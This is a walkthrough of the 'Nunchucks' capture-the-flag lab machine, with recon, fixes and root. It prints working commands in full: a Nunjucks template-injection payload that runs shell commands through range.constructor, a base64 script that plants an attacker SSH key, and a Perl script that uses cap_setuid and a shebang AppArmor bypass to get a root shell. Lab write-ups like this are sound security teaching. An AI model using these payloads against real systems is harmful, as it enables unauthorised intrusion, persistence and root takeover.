← all walkthroughs

Nunchucks

Linux· Easy· Web
owned
2026-07-06
time to own
5m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The HTTPS service carries a second virtual host, a Node.js newsletter application whose subscription endpoint hands the submitted address to the Nunjucks template engine as a template rather than as data. Nunjucks reaches JavaScript's Function constructor through the range built-in's prototype chain, which turns an arithmetic proof into arbitrary Node execution.

I used it to write my own public key into david's authorized_keys, which is a quieter and more reliable foothold than hunting for a private key that may not be readable. From that session the escalation is a capability rather than a SUID bit: the Perl binary carries cap_setuid, so a Perl process can take uid 0 for itself, and a script run by its shebang is the form that reaches it.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Some commands also carry a value in angle brackets — <the-base64-from-above> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Mapped the services, then followed the site's own JavaScript to a second virtual host
The scan gives three ports and one hint: nginx answers on 443 with an X-Powered-By header that says Express, so something Node-shaped is behind the reverse proxy. The interesting part is not in the scan at all — it is in the page. The site's own script names a second hostname and the endpoint it talks to, posting a JSON object with a single email field to /api/submit and writing the reply straight into the page. Malformed JSON sent to that endpoint throws an uncaught exception, and the stack trace gives up the application's root on disk. It names body-parser, not the template engine — what the back end renders with is still an open question at this point.
Nginx 1.18.0 answered on 443 with X-Powered-By: Express; the client script posts JSON {email: <input>} to /api/submit and renders the response into the DOM; malformed JSON returned a body-parser SyntaxError naming /var/www/store.nunchucks.
Exact commands 5
shell

Three ports, and 80 redirects to 443.

$ nmap -sV -sC -p 22,80,443 --open $TARGET
shell

The site links to its own second hostname; nothing else discloses it.

$ curl -sk https://nunchucks.htb/ | grep -oE '[a-z0-9.-]*nunchucks\.htb'
shell

Both names to one address, so the reverse proxy can tell which site is wanted.

$ echo "$TARGET nunchucks.htb store.nunchucks.htb" | sudo tee -a /etc/hosts
shell

The subscription form's fetch call: one field, named email, posted as JSON.

$ curl -sk https://store.nunchucks.htb/assets/js/main.js | grep -A5 'api/submit'
shell

An uncaught parse error prints the application's path on disk.

$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d 'not-json'
2Vulnerability IdentificationServer-Side Template Injection — Nunjucks/Node.js (CWE-94)
Confirmed Server-Side Template Injection in the newsletter subscription endpoint
The subscription form POSTs JSON with an 'email' field to /api/submit. Sending the Nunjucks arithmetic probe {{7*7}} as the email value caused the server to evaluate the expression and embed the result — 49 — in its response, proving user input was rendered as live Nunjucks template syntax rather than treated as data.
{"response":"You will receive updates on the following email address: 49."}
Exact commands 1
shell

SSTI arithmetic probe — '49' in the response confirms server-side template evaluation.

$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d '{"email":"{{7*7}}"}'
FixNever pass user input to a template engine as template sourceCritical
WeaknessThe /api/submit endpoint embedded the raw user-supplied 'email' value directly into a Nunjucks template string evaluated server-side. Any unauthenticated visitor could inject template expressions — including JavaScript Function constructor gadgets — to execute arbitrary OS commands as the web service account.
FixTreat user input as data only, never as template code. Replace nunjucks.renderString(stringBuiltFromUserInput) with nunjucks.render('response.njk', { email: userInput }), where response.njk is a static file the user cannot influence. Never construct the template source string from user-supplied values. Additionally, validate the email field against a strict RFC 5321 regular expression and reject values containing Nunjucks syntax characters ({{ or }}).
3ExploitationSSH authorized_keys persistence (T1098.004)
Escalated the injection to code execution and wrote my own key into david's account
Nunjucks does not expose eval, but it does expose range, and every JavaScript object's constructor chain ends somewhere useful: range.constructor is Function, and Function takes a string of source and returns something callable. That is arbitrary Node execution inside the template, and from there child_process reaches the shell. What to do with it matters. Reading a private key assumes one exists and is readable by the web account; writing a public key assumes only that the account's home can be written. I generated a pair on my own machine and appended the public half to david's authorized_keys through the gadget, creating the .ssh directory and fixing its modes on the way — sshd refuses a directory anyone else can write.
The gadget returned command output for the web service account; a locally generated ed25519 public key was appended to /home/david/.ssh/authorized_keys through the same channel, with the directory created at mode 700 and the file at 600.
Exact commands 4
shell

The constructor chain is the whole gadget. Expect the web account's uid in the response.

$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit \
  -d '{"email":"{{range.constructor(\"return global.process.mainModule.require(\x27child_process\x27).execSync(\x27id\x27).toString()\")()}}"}'
shell

Generated here. The private half never leaves my machine, which is the point.

$ ssh-keygen -q -t ed25519 -N '' -f /tmp/nunchucks_david && cat /tmp/nunchucks_david.pub
shell

Base64 first: the payload crosses a JSON string inside a template inside a URL, and quoting it twice is how it breaks.

$ printf '%s\n' "mkdir -p /home/david/.ssh; chmod 700 /home/david/.ssh; "\
"echo '$(cat /tmp/nunchucks_david.pub)' >> /home/david/.ssh/authorized_keys; "\
"chmod 600 /home/david/.ssh/authorized_keys" | base64 -w0
shell

The same gadget, carrying the script instead of a command.

$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit \
  -d '{"email":"{{range.constructor(\"return global.process.mainModule.require(\x27child_process\x27).execSync(\x27echo <the-base64-from-above>|base64 -d|bash\x27).toString()\")()}}"}'
4FootholdRemote services: SSH with an authorised key (T1021.004)
Logged in over SSH as david on the key I had just authorised
The key is already trusted by the account, so the login is immediate and needs no password. This is also the moment the foothold becomes stable: the template injection is a single-request channel with no shell and no state, and everything after this runs in a session that has both.
SSH on 22 accepted the generated key as david without a password, and the user flag was read from that session.
Exact commands 2
shell

SSH refuses a key file other accounts can read.

$ chmod 600 /tmp/nunchucks_david
shell

-> <user.txt>

$ ssh -i /tmp/nunchucks_david -o StrictHostKeyChecking=no david@$TARGET 'id; cat ~/user.txt'
5Privilege Escalation — DiscoveryLinux capability enumeration (T1548.001)
Found that the Perl binary holds the cap_setuid Linux capability
Linux capabilities split root's powers into pieces that can be granted to a single binary, and the piece called cap_setuid is the power to become any user. A scan of the filesystem finds it on the Perl interpreter. No SUID bit, nothing in sudoers, nothing that a check of either would show — but any Perl process on this host can call setuid(0) and have it succeed. There is a profile confining Perl as well, which is what makes the shape of the invocation matter in the next step rather than the invocation itself.
Getcap over the filesystem reported cap_setuid+eip on the Perl interpreter, and the escalation that follows depends on that capability: POSIX::setuid(0) cannot succeed without it.
Exact commands 2
shell

From david's session. An interpreter with cap_setuid is a root shell waiting for a script.

$ getcap -r / 2>/dev/null
shell

From david's session. The confinement profile that the next step's invocation form gets around.

$ aa-status 2>/dev/null | grep -i perl
FixRemove the cap_setuid capability from the Perl interpreterCritical
WeaknessThe system Perl binary was granted cap_setuid+eip, allowing any code run through the interpreter to change its process UID to root. Interpreter binaries should never hold elevated capabilities because every script they execute inherits the privilege.
FixRemove the capability immediately: sudo setcap -r /usr/bin/perl5.30.0. Audit the full system with getcap -r / and strip elevated capabilities from every language interpreter and scripting runtime (Perl, Python, Ruby, Node.js). If a specific application genuinely requires privilege elevation, implement it as a narrow dedicated compiled binary granted only the minimum required capability — never grant it to the interpreter itself.
6Privilege Escalation — ExploitationAppArmor shebang bypass combined with cap_setuid privilege escalation (T1548.001, T1562.001)
Bypassed AppArmor via shebang execution and escalated to root
A confinement profile attaches to a program by the path the kernel executes. Running perl with a script as its argument executes the interpreter by name, and the profile attaches. Running a script that begins with #!/usr/bin/perl executes the script — the kernel loads the interpreter on its behalf, and the profile that names the interpreter does not follow. So the same three lines of Perl take uid 0 in one form and not in the other. The script asks for setuid(0), which the capability allows, and then execs a shell with -p so the shell keeps the privilege instead of dropping it.
A Perl script at /tmp/a.pl carrying a #!/usr/bin/perl shebang, calling POSIX::setuid(0) and exec'ing /bin/sh -p, was run as ./a.pl from david's session and returned uid 0 with the root flag.
Exact commands 2
shell

From david's session. Write the escalation script. The shebang is the bypass mechanism — the kernel invokes Perl directly, outside the AppArmor profile.

$ cat > /tmp/a.pl <<'EOF'
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec '/bin/sh', '-p', '-c', 'id; cat /root/root.txt';
EOF
shell

From david's session. Execute as a file — NOT 'perl /tmp/a.pl'. AppArmor is bypassed, POSIX::setuid(0) succeeds via cap_setuid. Root flag: <root.txt>

$ chmod +x /tmp/a.pl && /tmp/a.pl
FixExtend the AppArmor Perl profile to cover shebang-invoked executionHigh
WeaknessThe AppArmor profile for Perl only engaged when Perl was launched as an explicit command. Scripts executed directly via a #!/usr/bin/perl shebang bypassed the profile because the kernel's shebang-exec path did not trigger the same AppArmor attachment, rendering the mandatory access control ineffective.
FixUpdate the profile at /etc/apparmor.d/usr.bin.perl to use 'px' or 'Cx' execution transitions so confinement is enforced when Perl is invoked via a shebang, and apply the profile to all versioned symlinks (perl, perl5, perl5.30.0). Reload with: sudo apparmor_parser -r /etc/apparmor.d/usr.bin.perl. Treat this as defense-in-depth — removing the capability (r2) eliminates the root impact and is the higher-priority fix; both controls should be in place.

Attack patterns used

The transferable techniques behind this compromise.

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

22/tcp
80/tcp
443/tcp